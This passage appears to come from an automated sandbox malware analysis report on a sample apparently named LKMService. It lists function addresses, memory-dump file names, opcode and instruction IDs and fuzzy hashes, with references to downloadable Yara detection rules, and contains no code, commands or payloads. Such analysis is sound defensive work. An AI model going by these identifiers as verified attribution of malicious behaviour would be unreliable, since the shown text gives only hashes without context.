Instruction Fuzzy Hash: 7B119035E007068BCB15EFB8D4544AEB7B5FFD9310710C62AE45AB7254EF34A9868B90

Function 031025D1 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6813916cbac853a7ca154bade5363db4467d8b59f8960a3dcd038c4095ce79e7
Instruction ID: be560726159976c8e271c00a6e2a2bba727e71348df88bdb240fa9f9402a8796
Opcode Fuzzy Hash: 6813916cbac853a7ca154bade5363db4467d8b59f8960a3dcd038c4095ce79e7
Instruction Fuzzy Hash: 1911B131E006068BCB15EFB8D8544AEF7B1FFD9210B10C71AD459A7214EF34A982CB91

Function 0153D617 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3528965324.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_153d000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: a7a1d8dfa96649f32d874e08124e48cb75093ebb3473981b573e844aee25f63d
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 3411DF76504284CFCB02CF44D9C4B1ABF72FB84314F24C5A9D8090F266C336D45ADBA1

Function 0153D703 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3528965324.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_153d000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 76c98461d7314e158db3762ce3158a86f525c047c079be33c9503f1e83f4a8ad
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 4711DC76504280CFDB16CF54D9C4B1ABF72FB84324F24C6A9D8090F256C33AD45ACBA2

Function 031056F0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16f23cf2f53533333c9ac634258caefda9830f9eb07f0eb9dc5ee47592fbf6bb
Instruction ID: df0789b93383a7210cd4902e4413e54954b112362d7c8254ff15ed81d8124106
Opcode Fuzzy Hash: 16f23cf2f53533333c9ac634258caefda9830f9eb07f0eb9dc5ee47592fbf6bb
Instruction Fuzzy Hash: 50118F35E0060A8BCB14EFB9D8544AEF7B5FFC9310710C619E45A77244EF34A9868791

Function 031025E0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 017d2b57fd92cc7cd86cca6366fd2e3498ffb04eba919feec62546b834f3666d
Instruction ID: 566a1b326e6686d50ee32d473862a79d28c1908e1c91499c34abc0dc2d2f6c8f
Opcode Fuzzy Hash: 017d2b57fd92cc7cd86cca6366fd2e3498ffb04eba919feec62546b834f3666d
Instruction Fuzzy Hash: 44118F35E0060A8BCB15EFB9D8544AEF7B5FFC9210710C61AE45A77204EF34A9868BD1

Function 0310560F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7565cdfacefd5641bd22f2251ffe647144ca64923209cb4ae756a8c65684251e
Instruction ID: 3186913b20e72d8932b83f9b602e4af29b18de1e6c0582b76f69f00211a4670f
Opcode Fuzzy Hash: 7565cdfacefd5641bd22f2251ffe647144ca64923209cb4ae756a8c65684251e
Instruction Fuzzy Hash: A6114F75A04514CFCB24DF68C6549ACBBB2FF8E324B1642A5D402AF2A1CB71ED80CF61

Function 03100CC0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6371b58c8c5ae6051441fc1aa37f1f57e752f73f6be9d253694179c4c2f62df1
Instruction ID: 299c7baeb3853ff4e16a68525f439bafe26ed9ca2ceed02b0a51412230927238
Opcode Fuzzy Hash: 6371b58c8c5ae6051441fc1aa37f1f57e752f73f6be9d253694179c4c2f62df1
Instruction Fuzzy Hash: FD116132D0070A9BCB11DFA9D8404DDFBB5EFD9310F154666E011B7260E770298ACB60

Function 03100989 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6d39ece024ffd245595ef4bae8dcba1a8f28e1923be6b331f36f0e24c5f545
Instruction ID: f1254628e9134b57ee6f52c3db184ae34b8015bead0cf5a97f3a68415f45f70d
Opcode Fuzzy Hash: 3e6d39ece024ffd245595ef4bae8dcba1a8f28e1923be6b331f36f0e24c5f545
Instruction Fuzzy Hash: E1111970640105CFC704DF7CF998948BBB1FB89364B5146B9D805CB278EB34AD49CB81

Function 03100879 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b94e2c4f8062bc9dcd56d92741db30d9d891cb09097c7b51ec4287d12740212e
Instruction ID: 727cdf0c80b7506fad3b500262940f7178542dd3ac811d1d8b846e23443c9564
Opcode Fuzzy Hash: b94e2c4f8062bc9dcd56d92741db30d9d891cb09097c7b51ec4287d12740212e
Instruction Fuzzy Hash: A4017132D1461A9BCB41DBB8DC004DDFBB6EFCA310F1A86A6D111B7164E774258ACBA1

Function 0153D161 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3528965324.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_153d000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff15376e2ff497fd0a4554bf610d95e72e5fd37f40caa1b7b1d5749cd74a9257
Instruction ID: 40d7f0811c3f11f42d8abe00368e1b017989069d4bfe637e43c114626bb07f3f
Opcode Fuzzy Hash: ff15376e2ff497fd0a4554bf610d95e72e5fd37f40caa1b7b1d5749cd74a9257
Instruction Fuzzy Hash: 9101A7311093449BE7119A69CD8476BBFF8FFC1324F58C869ED094F296C3799844C6B1

Function 03100CD0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0e6128fe17cabf7b01cbb9d1a37ed58fe2e10cf6e07b9409899891e853e2213
Instruction ID: 5b1977676ee89ee2ea7937246c33b710ff734d9404eb90d95fd1b4dc4ebfd191
Opcode Fuzzy Hash: f0e6128fe17cabf7b01cbb9d1a37ed58fe2e10cf6e07b9409899891e853e2213
Instruction Fuzzy Hash: 88012132D1060EABCB00DFA9D8404DDFBB9EFD9320F158666E115B7254E774258ACB60

Function 03103CC2 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c677af55b1d2052a8bbb30a85f1a2ab229fc056b93cf629e854e7592ad629134
Instruction ID: 85feeaafe5000a15d7e87e5173593e0d51bf91628ecbf3cef98aaa15a93229ee
Opcode Fuzzy Hash: c677af55b1d2052a8bbb30a85f1a2ab229fc056b93cf629e854e7592ad629134
Instruction Fuzzy Hash: 5901B532E5071A9BCF01DBB9D8004DDFBB6EFCA310F158656D511B7164EB74258ACB60

Function 031046F0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50636216b173cf400c06826d48056006635f8e18281a4bdb76f681e91777a343
Instruction ID: c2e1c1a7cf7c52553192686228fdcf573491f6415343c0b0f7690eadadbb5c61
Opcode Fuzzy Hash: 50636216b173cf400c06826d48056006635f8e18281a4bdb76f681e91777a343
Instruction Fuzzy Hash: AA01B132D1060A8BCF00DFB9D9404DDFBB6EFC9310F15826AD511B7164E774258ACBA0

Function 03104978 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02834c5add1538f63bbbb36343d59d907775cf0eae200697352fb8558dd81367
Instruction ID: 93a9de7a199d24986523cf30a20767eeed937c9476af9d828b9124226dd63f7a
Opcode Fuzzy Hash: 02834c5add1538f63bbbb36343d59d907775cf0eae200697352fb8558dd81367
Instruction Fuzzy Hash: 89019A32D2060AABCB04DFB8E8445DDFBB6EFC5300F168666E021B7164EB70255ACB50

Function 03100998 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9feb3c90311358f62149b29fed7a88997b8cb034f0e96cad82e216f7e7d6c1de
Instruction ID: 4555ae9e3da8fa4a4059d9645f69efd5270307fac52f82ac00e57d5bbe8a923f
Opcode Fuzzy Hash: 9feb3c90311358f62149b29fed7a88997b8cb034f0e96cad82e216f7e7d6c1de
Instruction Fuzzy Hash: A911D674640109DFCB08EF6CF998949BBB1FB88364B5046B9D80597279EB34AD49CB81

Function 03102188 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d3932989c1b1504ebd66f3f2337b98a91e6200e7d36e63ed125672d1968f9ae
Instruction ID: 011391b35f4041fa9f292730c6221c5221fd2dcbae3ede76b31bc16f2642eca3
Opcode Fuzzy Hash: 4d3932989c1b1504ebd66f3f2337b98a91e6200e7d36e63ed125672d1968f9ae
Instruction Fuzzy Hash: FD016135604214CFCB18DB54C858BAA77B2FB8C304F55447CD402AB3A1CBB96842CB91

Function 03102228 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff615ec5547534874fc84cea20d7994de343eb3ae4b9a235fa1cf43a6028aefa
Instruction ID: 7568081e786bc7a4100a08553e215e0f8b48ace4abeaa840cf46874d5ecec71a
Opcode Fuzzy Hash: ff615ec5547534874fc84cea20d7994de343eb3ae4b9a235fa1cf43a6028aefa
Instruction Fuzzy Hash: C001DF32E0460B9BCB00DBB9D8004DDFBB6EFCA310F168266D111B7164EB70258ACBA1

Function 03104267 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c9f47089273fc8a1c49634f6c6c4c650741a586983ffdc5ff04935ca06eedb6
Instruction ID: ec60cf59778c33d9abd808a00d8673931d1c2a084481a9d6396a0b3857ad19ef
Opcode Fuzzy Hash: 5c9f47089273fc8a1c49634f6c6c4c650741a586983ffdc5ff04935ca06eedb6
Instruction Fuzzy Hash: 94017132E1060B9BCF01DBB9D8405DDFBB6EFCA300F168666D111B75A0EB74258ACB90

Function 03101C18 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 114708422a2f9f8913947cf8ecc59c7cbcc2a9e1202ea2328cd74bbe2047ecaf
Instruction ID: c5dbae11f53b8c7f34293c9362db9493df87b2ed6ecca3d7e40951dece6115b7
Opcode Fuzzy Hash: 114708422a2f9f8913947cf8ecc59c7cbcc2a9e1202ea2328cd74bbe2047ecaf
Instruction Fuzzy Hash: 4301A732E1460B9BCF00DBB9D8004DDFBB6EFCA310F158666D111B7164EB74258ACBA1

Function 031076B7 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f505c0fc32ebf8d55444806d63c1503faaea6de8de0e957e4bf19136c881978e
Instruction ID: a4591276633dd883e129664d0399b3f3f12c320987064992374b303e12ea1cf3
Opcode Fuzzy Hash: f505c0fc32ebf8d55444806d63c1503faaea6de8de0e957e4bf19136c881978e
Instruction Fuzzy Hash: E1016D32D6061AABCB00DFB8D8045DDB7B6EFD9310F564B62E400B70A0E774258AC760

Function 0310540F Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e76964bc9b555556b34b47122530fd6fa33eb2f59db621f6ee43948963f791bd
Instruction ID: f36ad594338a3cc7f2b1db61e5f82fde792d34027d3125b1c95d618ac4dd9d3a
Opcode Fuzzy Hash: e76964bc9b555556b34b47122530fd6fa33eb2f59db621f6ee43948963f791bd
Instruction Fuzzy Hash: F5017132D1070B9ACB409BA9C8405DEBB76EFDA320F254655D10073164EB70218ACB61

Function 031074AA Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06d53d9409692caa6d84b5243745cd6801207cd631adb7db3b9d6c9ea6101344
Instruction ID: 7394637fbf982ef2a22010949098569f0f6454a481b02517e5b11ad65032e0e7
Opcode Fuzzy Hash: 06d53d9409692caa6d84b5243745cd6801207cd631adb7db3b9d6c9ea6101344
Instruction Fuzzy Hash: 67010574A006158FC709CB69D98889DFBF2BFC821075AC1A9D4099F2A2DB30EC02CB90

Function 03103CD0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b0c4686c4c27c4c337700e8f57cad38ace6b03ce8962160454a4bc293d2c553
Instruction ID: 12567c4dd5b28148f0d4ae9e4a284d6ff8de12f643569dc0a30b5ee9814bb918
Opcode Fuzzy Hash: 1b0c4686c4c27c4c337700e8f57cad38ace6b03ce8962160454a4bc293d2c553
Instruction Fuzzy Hash: B7018B32E1060E9BCF009BB9D8004DEFBB6EFC9310F258666D51177264EB70258ACBA0

Function 03102F6E Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f391857f48bc236727cb852fdf8020ab341dcc6355651e74db0ca66cfd8abb8
Instruction ID: 812c430c8eb578c417e3805e6a20b5d4c8b008eb5365a6cbf2be3a0c7a043b87
Opcode Fuzzy Hash: 4f391857f48bc236727cb852fdf8020ab341dcc6355651e74db0ca66cfd8abb8
Instruction Fuzzy Hash: 96018F32D1061BABCB00DFA8DC444DDB7BAEFCA315F1A4B61E500771A0E774254AC791

Function 03106D40 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5d9cd9b4b19dd33292cff9db5e1d47faff47472cb80d62fff4a173c44a34b1
Instruction ID: d1cb6e1e236bbf7cd67125f07aea39df16238babd2364c4a7223f52aa5b6bfa0
Opcode Fuzzy Hash: 2c5d9cd9b4b19dd33292cff9db5e1d47faff47472cb80d62fff4a173c44a34b1
Instruction Fuzzy Hash: 37014F32D0065ADBCB01DFA8DD445DDBBB6EFDA310F6906A1E000BB464E770365AC791

Function 03104988 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 986af1ba61c927741c838259c4a358db9430e4b430466a5abbd93985edf3e391
Instruction ID: ec491a681bc901696528b9b5911352700a7ed455b5d089893466bb8833d533d1
Opcode Fuzzy Hash: 986af1ba61c927741c838259c4a358db9430e4b430466a5abbd93985edf3e391
Instruction Fuzzy Hash: 41018132D1060AA7CB04DBA9E8404DEF7BAEFC5310F158666E521B7164EF74254AC790

Function 0310170D Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc6fb19b9552a660b5d2e799195032acbd7b354d0f8579da5b3c78f9f9e32cc4
Instruction ID: b7a5a0060efbbbee523f6cc36e53810e444a9dbb2afbe15d33ce5ad42e5d06da
Opcode Fuzzy Hash: dc6fb19b9552a660b5d2e799195032acbd7b354d0f8579da5b3c78f9f9e32cc4
Instruction Fuzzy Hash: 32F0C2717083816FC703A764985049EBFA2AFC625034544ABE489CF7A2EF64DD0587A2

Function 03102B49 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 688cdaec3c29ef95980e2748934930943d96c772b690d5f74dfc95563d7f1bdd
Instruction ID: a953677b3fd8ba1986ddff8a2a5992c8c8adc5e2cc989fe2d6912fd36b80c6c5
Opcode Fuzzy Hash: 688cdaec3c29ef95980e2748934930943d96c772b690d5f74dfc95563d7f1bdd
Instruction Fuzzy Hash: 20016232C1060BDBCB00DBB9D8445EDFBB5EFD6320F194656D11077064E770228ACB61

Function 03102198 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bef4c6cd98ec112d60fe8b266a720f0ab0c252aae57a631a3e345f7d153ee44e
Instruction ID: c97d85de7910161f040651ac42abf5430c0d1e9c3277ca9757cad98f81ba2ae2
Opcode Fuzzy Hash: bef4c6cd98ec112d60fe8b266a720f0ab0c252aae57a631a3e345f7d153ee44e
Instruction Fuzzy Hash: 77012C35604218DBDB28EB64C818BAA77B2FB8C354F51443CD502AB2A5CBBA6C45CB91

Function 03107738 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd6638f2b5504e61244c875b64cf7d187f15a1889f2cb367d76ecb0f7999f09b
Instruction ID: 3bc003138a4709bcc2cecc025cc640c2f0c0eedf83a910dca923311a9ba5a406
Opcode Fuzzy Hash: bd6638f2b5504e61244c875b64cf7d187f15a1889f2cb367d76ecb0f7999f09b
Instruction Fuzzy Hash: 3BF0FC72D601059BDB18DB74C4199EFBBB59F84701F01492AC413B7290DF706907CB92

Function 03106DC0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c82bcc6629f7d331db5ea5d9fdae31f7de130e0e0ef621936279ebc7b32000
Instruction ID: c5b7815c5208cdbfcbf08ca2c487074970bab386056ff4393fe3c0556c3c0bae
Opcode Fuzzy Hash: 43c82bcc6629f7d331db5ea5d9fdae31f7de130e0e0ef621936279ebc7b32000
Instruction Fuzzy Hash: 9CF0AF72D102099BCF18DFA8C4555EFBBB69F84310F15892AC406B7285DEB0991A8BD2

Function 03105420 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941649c1709aaa7e5c666852bdceee5d7051feccada8501fcdd8d20f5b6e1712
Instruction ID: 5d7f30fae61faa2923668c2b39ab1eecd7dec1fedba4213a0d61dc28e4255294
Opcode Fuzzy Hash: 941649c1709aaa7e5c666852bdceee5d7051feccada8501fcdd8d20f5b6e1712
Instruction Fuzzy Hash: 46F0A432D1070F96CB00DBA5C8404DEFB76EFCA320F694611E20077164EB7021CACBA1

Function 03104A00 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac9059cf62d9722c717fac5f2a927c9607e6bdfb182939338b66b3a0e68851d4
Instruction ID: c10ad08545fe3715b9f99a00e2d5201aa227a182b951b24d6081c327a1a5113d
Opcode Fuzzy Hash: ac9059cf62d9722c717fac5f2a927c9607e6bdfb182939338b66b3a0e68851d4
Instruction Fuzzy Hash: 0DF0AFB2D102059BCB14DB78C495AEEBBB6AF88300F06452AC102B7240DFB46A068B96

Function 031022B0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44305f775f866e91a6d1ff0159f7c14b1522429ecca85706db2007596f0ca206
Instruction ID: 693c6bdc465f09e31796bed93d24b637beb552179b46587d1c5da731d12ab56c
Opcode Fuzzy Hash: 44305f775f866e91a6d1ff0159f7c14b1522429ecca85706db2007596f0ca206
Instruction Fuzzy Hash: EAF0F672E500059BDB14DB74C459AEEBBB29B88300F46892AD402BB290EFB0690786C2

Function 031042F0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a894e9b64339b3d55c18b2e65a3691a874596fd8963bc15632f47817ef2a7666
Instruction ID: 5d773dfdb14516fe335c8e2463df6d8145b2ebcfa1c0b033d755f69bb0b7ac66
Opcode Fuzzy Hash: a894e9b64339b3d55c18b2e65a3691a874596fd8963bc15632f47817ef2a7666
Instruction Fuzzy Hash: 94F0C871D102059BCB14DB74C4559EEBFB59F84310F4545268412B7240DEB0594B8AC2

Function 03100901 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3dd6b9bb1c1af0877c29b94d7fb1b592d5713dcf59a2f774bff6991b8ae9512
Instruction ID: dc16b1eb0e4f37ad940ca448ad743d36b78e16c3675a07d1c57429069a2a20a4
Opcode Fuzzy Hash: e3dd6b9bb1c1af0877c29b94d7fb1b592d5713dcf59a2f774bff6991b8ae9512
Instruction Fuzzy Hash: 66F0C272D10209DFDB58DF68C455AEFBBB2AF88310F01892AD006B7244DFB05907CB82

Function 0153D160 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3528965324.000000000153D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0153D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_153d000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e8f98901981aaeb469baafb8a9eca5de82310f0046f865274e72920672c305c
Instruction ID: 5f46a4cf3f7c14a790d4ac4af7913a8f40355f52153a0eb5c3c9d9b9ebeaecf0
Opcode Fuzzy Hash: 4e8f98901981aaeb469baafb8a9eca5de82310f0046f865274e72920672c305c
Instruction Fuzzy Hash: EEF062714053449BE7118A1ADD84B66FFB8EB81724F18C45AED084F296C3799844CAB1

Function 03102F80 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3531383750.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3100000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61bc31547c37843ee883351b7c40a5d91b668b95ed5f97c0f6ca5e050688e29d
Instruction ID: a74faede5110547eb93ef7a77c51a6f21179637d51d0069ba9f31f08f973bb53
